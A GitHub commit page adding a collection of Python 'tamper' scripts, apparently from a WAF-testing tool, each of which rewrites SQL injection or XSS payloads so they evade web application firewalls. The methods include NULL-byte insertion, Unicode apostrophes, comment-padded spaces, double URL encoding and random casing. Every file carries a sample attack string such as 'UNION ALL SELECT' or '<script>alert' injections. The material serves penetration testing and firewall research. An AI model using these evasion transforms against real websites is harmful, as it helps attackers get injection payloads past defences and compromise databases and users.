Skip to content
This repository was archived by the owner on Apr 17, 2021. It is now read-only.

Commit 65b7e79

Browse files
committed
added the structure to easy white-list tampers
1 parent 9de081d commit 65b7e79

File tree

88 files changed

+3105
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

88 files changed

+3105
-0
lines changed

.DS_Store

6 KB
Binary file not shown.
+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
__example_payload__ = "'))) AND '1'='1' ((('"
2+
__type__ = "hiding an apostrophe by its UTF equivalent"
3+
4+
5+
def tamper(payload, **kwargs):
6+
payload = str(payload)
7+
identifier = "'"
8+
retval = ""
9+
for char in payload:
10+
if char == identifier:
11+
retval += "%EF%BC%87"
12+
else:
13+
retval += char
14+
return retval
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
__example_payload__ = "' )) AND 1=1 ' OR '2'='3 --'"
2+
__type__ = "hiding the apostrophe by passing it with a NULL character"
3+
4+
5+
def tamper(payload, **kwargs):
6+
payload = str(payload)
7+
identifier = "'"
8+
retval = ""
9+
for char in payload:
10+
if char == identifier:
11+
retval += "%00%27"
12+
else:
13+
retval += char
14+
return retval

tampers/WhatWaf_tampers/appendnull.py

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
__example_payload__ = "AND 1=1"
2+
__type__ = "appending a NULL byte to the end of the payload"
3+
4+
5+
def tamper(payload, **kwargs):
6+
payload = str(payload)
7+
return "{}%00".format(payload)
+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
import base64
2+
3+
4+
__example_payload__ = "<script>alert("");</script>"
5+
__type__ = "encoding the payload into it's base64 equivalent"
6+
7+
8+
def tamper(payload, **kwargs):
9+
try:
10+
payload = str(payload)
11+
return base64.b64encode(payload)
12+
except TypeError:
13+
payload = payload.encode()
14+
return base64.b64encode(payload)
+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
import re
2+
3+
4+
__example_payload__ = "' AND 1=1 OR 2=2 '"
5+
__description__ = "mask the booleans with their symbolic counterparts"
6+
7+
8+
def tamper(payload, **kwargs):
9+
return re.sub(r"(?i)and", "%26%26", re.sub(r"(?i)or", "%7C%7C", payload))
+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
import string
2+
try:
3+
from urllib import quote_plus
4+
except ImportError:
5+
from urllib.parse import quote_plus
6+
7+
8+
__example_payload__ = "<img src=x onerror=\"input\">"
9+
__type__ = "double URL encoding the payload characters"
10+
11+
12+
def tamper(payload, **kwargs):
13+
danger_chars = string.punctuation + " "
14+
extra_danger_chars = ("_", ".")
15+
retval = ""
16+
for char in list(payload):
17+
if char not in danger_chars or char == "*":
18+
retval += char
19+
elif char == extra_danger_chars[0]:
20+
retval += quote_plus("%5F")
21+
elif char == extra_danger_chars[1]:
22+
retval += quote_plus("%2E")
23+
else:
24+
retval += quote_plus(quote_plus(char))
25+
return retval
+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import string
2+
3+
4+
__example_payload__ = 'AND 1=1,<script>alert("1,2,3,4,5);</script>'
5+
__type__ = "enclosing numbers into brackets"
6+
7+
8+
def tamper(payload, **kwargs):
9+
payload = str(payload)
10+
to_enclose = string.digits
11+
if not any(i in list(payload) for i in to_enclose):
12+
return payload
13+
retval = ""
14+
for char in payload:
15+
if char in to_enclose:
16+
retval += "[{}]".format(char)
17+
else:
18+
retval += char
19+
return retval
+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
__example_payload__ = """' AND 1=1 " OR 1=10 '"""
2+
__type__ = "escaping quotes with slashes"
3+
4+
5+
def tamper(payload, **kwargs):
6+
modifier = r"\\"
7+
retval = ""
8+
for char in payload:
9+
if char == "'":
10+
retval += "{}'".format(modifier)
11+
elif char == '"':
12+
retval += '{}"'.format(modifier)
13+
else:
14+
retval += char
15+
return retval

tampers/WhatWaf_tampers/lowercase.py

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
__example_payload__ = "AND 1=1"
2+
__type__ = "turning the payload into it's lowercase equivalent"
3+
4+
5+
def tamper(payload, **kwargs):
6+
payload = str(payload)
7+
return payload.lower()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
__example_payload__ = "SELECT FIELD FROM information_schema.tables"
2+
__type__ = "changing specific payload characters into their Unicode equivalent"
3+
4+
5+
def tamper(payload, **kwargs):
6+
unicode_changes = {
7+
'1': 'B9', '2': 'B2', '3': 'B3', 'D': 'D0',
8+
'T': 'DE', 'Y': 'DD', 'a': 'AA', 'e': 'F0',
9+
'o': 'BA', 't': 'FE', 'y': 'FD', '|': 'A6',
10+
'd': 'D0', 'A': 'AA', 'E': 'F0', 'O': 'BA'
11+
}
12+
retval = ""
13+
# if there's not characters in it, we'll just skip this one
14+
if not any(c in payload for c in unicode_changes.keys()):
15+
return payload
16+
for char in payload:
17+
if char in unicode_changes.keys():
18+
retval += "%u00{}".format(unicode_changes[char])
19+
else:
20+
retval += char
21+
return retval
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import string
2+
3+
4+
__example_payload__ = 'AND 1=1,<script>alert("1,2,3,4,5);</script>'
5+
__type__ = "enclosing brackets and masking an apostrophe around the character in the brackets"
6+
7+
8+
def tamper(payload, **kwargs):
9+
payload = str(payload)
10+
to_enclose = string.digits
11+
if not any(i in payload for i in to_enclose):
12+
return payload
13+
retval = ""
14+
for char in payload:
15+
if char in to_enclose:
16+
retval += "[%EF%BC%87{}%EF%BC%87]".format(char)
17+
else:
18+
retval += char
19+
return retval

tampers/WhatWaf_tampers/modsec.py

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
__example_payload__ = "AND 1=1"
2+
__type__ = "putting the payload in-between a comment with obfuscation in it"
3+
4+
5+
def tamper(payload, **kwargs):
6+
return "/*!00000{}*/".format(payload)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
__example_payload__ = "SELECT * FROM information_schema.tables"
2+
__type__ = "obfuscating payload by passing it between comments with obfuscation and changing spaces to comments"
3+
4+
5+
def tamper(payload, **kwargs):
6+
modifier = "/**/"
7+
secondary_modifier = "/*!00000{}*/"
8+
retval = ""
9+
for char in payload:
10+
if char == " ":
11+
retval += modifier
12+
else:
13+
retval += char
14+
return secondary_modifier.format(retval)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
__example_payload__ = r"""&\lt' AND 1=1 ',<script>alert("test");</script>"""
2+
__type__ = "changing the payload characters into their HTML entities"
3+
4+
5+
def tamper(payload, **kwargs):
6+
payload = str(payload)
7+
retval = ""
8+
skip = ";"
9+
encoding_schema = {
10+
" ": "&nbsp;", "<": "&lt;", ">": "&gt;",
11+
"&": "&amp;", '"': "&quot;", "'": "&apos;",
12+
}
13+
if not any(c in payload for c in encoding_schema.keys()):
14+
return payload
15+
for char in payload:
16+
if char in encoding_schema.keys():
17+
retval += encoding_schema[char]
18+
elif char not in encoding_schema.keys() and char != skip:
19+
retval += char
20+
else:
21+
retval += char
22+
return retval
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
__example_payload__ = "&;lt'"
2+
__type__ = "changing certain characters in the payload into their ordinal equivalent"
3+
4+
5+
def tamper(payload, **kwargs):
6+
payload = str(payload)
7+
retval = ""
8+
danger_characters = "%&<>/\\;'\""
9+
for char in payload:
10+
if char in danger_characters:
11+
retval += "%{}".format(ord(char) * 10 / 7)
12+
else:
13+
retval += char
14+
return retval
+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
__example_payload__ = "' AND 1=1 '"
2+
__type__ = "pre-pending a NULL character at the start of the payload"
3+
4+
5+
def tamper(payload, **kwargs):
6+
return "%00{}".format(payload)

tampers/WhatWaf_tampers/randomcase.py

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
import random
2+
3+
4+
__example_payload__ = "AS start WHERE 1601=1601 UNION ALL SELECT NULL,NULL"
5+
__type__ = "changing the character case of the payload randomly with either upper or lower case"
6+
7+
8+
def tamper(payload, **kwargs):
9+
payload = str(payload)
10+
identifier = (1, 2)
11+
retval = ""
12+
for char in payload:
13+
if random.choice(identifier) == 1:
14+
retval += char.upper()
15+
else:
16+
retval += char.lower()
17+
return retval
+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
import random
2+
import string
3+
4+
5+
__example_payload__ = "' AND 1=1 ' OR 10=11,<script>alert('');</script>"
6+
__type__ = "implanting random comments into the payload"
7+
8+
9+
def tamper(payload, **kwargs):
10+
modifer = "/**/"
11+
characters = string.ascii_letters
12+
retval = ""
13+
for char in payload:
14+
random_chars = [random.choice(characters) for _ in range(10)]
15+
if char in random_chars:
16+
retval += "{}{}".format(modifer, char)
17+
else:
18+
retval += char
19+
if modifer not in retval:
20+
retval = tamper(payload, **kwargs)
21+
return retval
+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
import random
2+
3+
4+
__example_payload__ = "AND 1=1,<script>alert(\"test\");</script>"
5+
__type__ = "implanting random Unicode characters into the payload"
6+
7+
8+
def tamper(payload, **kwargs):
9+
identifiers = range(10)
10+
retval = ""
11+
for char in payload:
12+
modifier = random.choice(identifiers)
13+
if modifier == 3:
14+
retval += "%u00" + "%04x".upper() % random.randrange(0x10000)
15+
retval += char
16+
else:
17+
retval += char
18+
if retval == payload:
19+
return tamper(payload, **kwargs)
20+
return retval
+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
__example_payload__ = '484029") AS xDKy WHERE 5427=5427 UNION ALL SELECT NULL,NULL'
2+
__type__ = "changing the spaces in the payload into a comment"
3+
4+
5+
def tamper(payload, **kwargs):
6+
payload = str(payload)
7+
retval = ""
8+
for char in payload:
9+
if char == " ":
10+
retval += "/**/"
11+
else:
12+
retval += char
13+
return retval
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
__example_payload__ = "' AND 1=1 ORDERBY(1,2,3,4,5) '; asdf"
2+
__type__ = "changing the spaces in the payload into double dashes"
3+
4+
5+
def tamper(payload, **kwargs):
6+
modifier = "--"
7+
retval = ""
8+
for char in payload:
9+
if char == " ":
10+
retval += modifier
11+
else:
12+
retval += char
13+
return retval

tampers/WhatWaf_tampers/space2hash.py

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
from lib.settings import random_string
2+
3+
4+
__example_payload__ = "' AND 1=1 OR 2=2"
5+
__type__ = "changing the payload spaces to obfuscated hashes with a newline"
6+
7+
8+
def tamper(payload, **kwargs):
9+
modifier = "%%23{}%%0A".format(random_string())
10+
retval = ""
11+
for char in payload:
12+
if char == " ":
13+
retval += modifier
14+
else:
15+
retval += char
16+
return retval
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
import random
2+
3+
4+
__example_payload__ = "' AND 1=1 OR 9=10 ORDERBY(1,2,3,4,5)"
5+
__type__ = "change the payload spaces to a random amount of spaces obfuscated with a comment"
6+
7+
8+
def tamper(payload, **kwargs):
9+
modifiers = ("/**/", "/**//**/", "/**//**//**/")
10+
retval = ""
11+
for char in payload:
12+
num = random.choice([1, 2, 3])
13+
if char != " ":
14+
retval += char
15+
if num == 1:
16+
if char == " ":
17+
retval += modifiers[0]
18+
elif num == 2:
19+
if char == " ":
20+
retval += modifiers[1]
21+
else:
22+
if char == " ":
23+
retval += modifiers[2]
24+
return retval

tampers/WhatWaf_tampers/space2null.py

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
__example_payload__ = "' AND 1=1 '"
2+
__type__ = "changing the spaces in the payload into a NULL character"
3+
4+
5+
def tamper(payload, **kwargs):
6+
modifier = "%00"
7+
return str(payload).replace(" ", modifier)

0 commit comments

Comments
 (0)